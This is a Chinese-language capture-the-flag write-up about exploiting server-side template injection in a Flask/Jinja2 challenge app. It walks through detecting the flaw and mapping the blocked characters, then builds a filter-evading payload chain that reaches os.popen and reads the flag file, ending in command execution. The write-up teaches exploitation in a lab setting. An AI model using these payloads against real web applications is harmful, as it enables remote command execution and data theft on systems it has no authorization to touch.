首先打开网页,界面如下图所示:
使用Wappalyzer查看,查看网页的架构:
可以发现是一个flask框架的web网页,猜测存在SSTI漏洞。尝试一些简单的注入,检测是否符合猜想:
输入:{{1*7}}
输出:风林火山之飞影必杀术,你已经触犯了银河正义法中不可饶恕之使用‘{{}}罪’我飞影铠甲宣布剥夺你的一切权利并对你进行封印缉捕,束手就擒吧!旋风伏魔腿,幻影刀法,飞影疾影箭。
可以判断出,确实可能存在漏洞,并且后台将{{}}等类似的字符串过滤了;尝试其他字符串注入:
输入:{% set a = 0 %}{% print a%}
输出:你说的是:0
以上测试,可以说明存在漏洞,且{%%}和print函数没有被ban
使用下方代码进行注入攻击:
{%for i in ''.__class__.__base__.__subclasses__()%}{%if i.__name__ =='_wrap_close'%}{%print i.__init__.__globals__['popen']('cat flag').read()%}{%endif%}{%endfor%}
返回数据如下:
你说的是:天地无极之刑天必杀术,你已经触犯了银河正义法中不可饶恕之‘使用违法字符串罪’,我刑天铠甲宣布剥夺你的一切权利并对你进行封印缉捕,束手就擒吧!乾坤收魔掌,火光剑法,刑天光爆弹。
可以发现,代码中一些字符串被ban了。
接下来,通过不断地注入猜测被ban的字符串有哪些:【以下注入返回结果均为:”你说的是:天地无极之刑天必杀术,你已经触犯了银河正义法中不可饶恕之‘使用违法字符串罪’,我刑天铠甲宣布剥夺你的一切权利并对你进行封印缉捕,束手就擒吧!乾坤收魔掌,火光剑法,刑天光爆弹。“】
{% print " %}
{% print . %}
{% print _ %}
{% print \ %}
{% print ' %}
通过测试可知,以上的字符均不可使用;
因为.被ban了,所以,如果想要使用.调用函数,需要使用attr函数进行转化:
{% print attr %}
输出如下:
你说的是:
可以发现,attr函数没有被ban,所以使用以下代码获取_字符:
{% set pop=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list|attr(pop)(24)) %}
{% print(a) %}
输出如下:
你说的是: _
可以发现,可以正常输出_,说明我们获取到了_;接下来,我们尝试获取等函数:
{% set pop=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list|attr(pop)(24)) %}
{% print (a, a, dict(init=1)|join, a, a) %}
返回数据如下:
你说的是:天地无极之刑天必杀术,你已经触犯了银河正义法中不可饶恕之‘使用违法字符串罪’,我刑天铠甲宣布剥夺你的一切权利并对你进行封印缉捕,束手就擒吧!乾坤收魔掌,火光剑法,刑天光爆弹
推测,init字符串被ban了,使用字符串拼接技术,仿照
{{"".__class__.__bases__[0]. __subclasses__()[139].__init__.__globals__['popen']('cat flag').read()}}
修改代码:
{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list|attr(po)(24)) %}
{% set c = (a, a, dict(cla=1, ss=1)|join, a, a)|join %}
{% set b = (a, a, dict(ba=1, se=1)|join, a, a)|join %}
{% set s = (a, a, dict(sub=1, cla=1, sses=1)|join, a, a)|join %}
{% print a|attr(c)|attr(b)|attr(s)()[0] %}
返回结果:
你说的是:天地无极之刑天必杀术, 你已经触犯了银河正义法中不可饶恕之‘使用违法字符串罪’, 我刑天铠甲宣布剥夺你的一切权利并对你进行封印缉捕,束手就擒吧! 乾坤收魔掌,火光剑法,刑天光爆弹。
推测[]也被ban了。所以使用__getitem__替代:
{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list|attr(po)(24)) %}
{% set bl = (()|select|string|list|attr(po)(10)) %}
{% set c = ((a, a, dict(cla=1, ss=1)|join, a, a)|join) %}
{% set b = ((a, a, dict(ba=1, se=1)|join, a, a)|join) %}
{% set s = ((a, a, dict(sub=1, cla=1, sses=1)|join, a, a)|join) %}
{% set g = ((a, a, dict(get=1, it=1, em=1)|join, a, a)|join) %}
{% set i = ((a, a, dict(in=1, it=1)|join, a, a)|join) %}
{% set gl = ((a, a, dict(glo=1, bals=1)|join, a, a)|join) %}
{% set p = (dict(po=1, pen=1)|join) %}
{% set ca = (((dict(ty=1, pe=1)|join), bl, (dict(fl=1, ag=1)|join))|join) %}
{% set r = (dict(re=1, ad=1)|join)%}
{% print (a|attr(b)|attr(c)|attr(b)|attr(s)()|attr(g)(139)|attr(i)|attr(gl)|attr(g)(p)(ca)|attr(r)()) %}
返回结果:
你说的是: <class 'os._wrap_close'>
成功了一大步,接下来接着仿照下面代码修改我们的代码:
{{"".__class__.__bases__[0]. __subclasses__()[139].__init__.__globals__['popen']('cat flag').read()}}
{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list|attr(po)(24)) %}
{% set bl = (()|select|string|list|attr(po)(10)) %}
{% set c = ((a, a, dict(cla=1, ss=1)|join, a, a)|join) %}
{% set b = ((a, a, dict(ba=1, se=1)|join, a, a)|join) %}
{% set s = ((a, a, dict(sub=1, cla=1, sses=1)|join, a, a)|join) %}
{% set g = ((a, a, dict(get=1, it=1, em=1)|join, a, a)|join) %}
{% set i = ((a, a, dict(in=1, it=1)|join, a, a)|join) %}
{% set gl = ((a, a, dict(glo=1, bals=1)|join, a, a)|join) %}
{% set p = (dict(po=1, pen=1)|join) %}
{% set ca = (((dict(ty=1, pe=1)|join), bl, (dict(fl=1, ag=1)|join))|join) %}
"""
注意,如果type无法显示,应该修改成:
{% set ca = (((dict(ca=1, t=1)|join), bl, (dict(fl=1, ag=1)|join))|join) %}
"""
{% set r = (dict(re=1, ad=1)|join)%}
{% print (a|attr(b)|attr(c)|attr(b)|attr(s)()|attr(g)(139)|attr(i)|attr(gl)|attr(g)(p)(ca)|attr(r)()) %}
获得结果:
你说的是: flag{HIT-Armor-Warrior-YYDS}
成功!!!
代码注释如下:
{% set po=dict(po=a,p=a)|join%} # po="pop"
{% set a=(()|select|string|list|attr(pop)(24)) %} # a = "_"
{% set bl (()|select|string|list|attr(pop)(10)) %} # bl = " "
{% set c = ((a, a, dict(cla=1, ss=1)|join, a, a)|join) %} # c = "__class__"
{% set b = ((a, a, dict(ba=1, se=1)|join, a, a)|join) %} # b = "__base__"
{% set s = ((a, a, dict(sub=1, cla=1, sses=1)|join, a, a)|join) %} # s = "__subclasses__"
{% set g = ((a, a, dict(get=1, it=1, em=1)|join, a, a)|join) %} # g = "__getitem__"
{% set i = ((a, a, dict(in=1, it=1)|join, a, a)|join) %} # i = "__init__"
{% set gl = ((a, a, dict(glo=1, bals=1)|join, a, a)|join) %} # gl = "__globals__"
{% set p = (dict(po=1, pen=1)|join) %} # p = "popen"
{% set ca = ((dict(ty=1, pe=1)|join), bl, (dict(fl=1, ag=1)|join)|join)%} # ca = "type flag"
{% set r = (dict(re=1, ad=1)|join)%} # r = "read"
{% print (a|attr(c)|attr(b)|attr(s)()|attr(g)(139)|attr(i)|attr(gl)|attr(g)(p)(ca)|attr(r)()) %} # print "_".__class__.__base__.__subclasses__()[139].__init__.__globals__["popen"]("cat flag").read()
URL = "https://tttang.com/archive/1698/#toc__10"